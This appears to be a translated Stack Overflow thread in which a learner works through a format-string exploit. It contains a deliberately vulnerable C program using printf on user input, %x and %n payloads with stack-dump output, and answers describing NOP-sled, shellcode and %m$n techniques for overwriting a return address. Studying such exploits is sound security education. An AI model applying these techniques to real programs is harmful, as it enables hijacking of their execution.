【问题标题】:Overwrite return address simple format string exploit覆盖返回地址简单格式字符串漏洞利用
【发布时间】:2014-02-05 09:20:00
【问题描述】:

是的,已经存在相当多的类似问题(5037601、19166698、4855162、14505995、5052648、13409508、7745146、7459630;抱歉,没有足够的代表用于超过 2 个链接),是的,有一些很好的文章解释这种事情(clickclick,http://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html)。我已经阅读了它们,并且我想我明白了大致的想法,但是我仍然无法成功地利用我能想到的最简单的训练玩具示例。

#include <stdio.h>

void f(char* a)
{
    printf("a: %p\n", &a);
    printf(a);
    return;
}

void main(int argc, char** argv)
{
    f(argv[1]); //please ignore the lack of any check
    return;
}

是的,堆栈是可执行的,是的,内存布局随机化被禁用。每次执行都会给我相同的地址a。例如,我可以喂它$ ruby -e 'print "AAAA"+("%08x."*16)',结果是:

a: 0xbfffece0
AAAAbfffece0.bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.bfffecf0.00000fff.b7fd8420.00000000.41414141.78383025.3830252e.30252e78.252e7838.

所以现在我可以看到我的输入在内存中的最终位置。我可以使用$ ruby -e 'print "12345%n"+("%08x."*16)' 将值写入堆栈,结果如下:

a: 0xbfffece0
12345bfffecf0.b7fd7ff4.00000000.00000000.bffffcf8.080484b0.00000005.00000fff.b7fd8420.00000000.34333231.256e2535.2e783830.78383025.3830252e.30252e78.

显然,我的最终目标大概是&lt;something&gt;&lt;NOPs&gt;&lt;shellcode&gt; 之类的东西,其中&lt;something&gt; 覆盖f 的返回地址,以便程序跳转到NOP sled 并执行shellcode。但是现在保存的返回地址的地址似乎取决于我的输入,对吧?类似于 0xbfffece0 - len(input) - 12 的东西,假设是 12 字节的序言?也许这个例子毕竟不是最简单的......

我越来越糊涂了。有什么想法吗?

【问题讨论】:

  • 确实,由于printf 的参数将被压入堆栈,因此返回地址的地址会根据您的输入而变化。然后,您的格式字符串必须“消耗”与其本身一样多的字节,加上返回地址之前的所有其他内容。
  • 你能否举一个具体的例子,假设一个 50 字节的 shellcode 并且没有 NOP?
  • 是的,我知道,我已经读过那篇文章并想在上面链接到它...

标签: c exploit memory-layout


【解决方案1】:

我建议您使用一长串 '%08x' 格式字符来找出输入中正确的 '%n' 值,以便覆盖返回地址。

12345%n%08x%08x%08x%08x........%08x%08x

接下来,您可以修改您的输入,用 NOP sled + shellcode 替换部分“%08x”字符串,保持输入的长度不变。

12345%n\x90\x90\x90\x90...\x90\x90SHELLCODE

(根据需要修改上面的%n格式说明符以写入正确的值)

这将确保输入的大小,因此保存的返回地址的位置保持不变。

【讨论】:

    【解决方案2】:

    另一个想法是使用美元符号:%&lt;distance&gt;$n

    引用 Linux 的 printf 手册页:

    也可以 明确指定采用哪个参数,在每个位置 参数是必需的,写成“%m$”。其中十进制整数 m 表示在 所需参数的参数列表,从 1 开始索引。 Source

    示例: %5$n 将写入堆栈顶部的第 5 个地址。

    【讨论】:

      猜你喜欢
      • 1970-01-01
      • 2020-10-26
      • 1970-01-01
      • 2013-10-10
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      • 1970-01-01
      相关资源
      最近更新 更多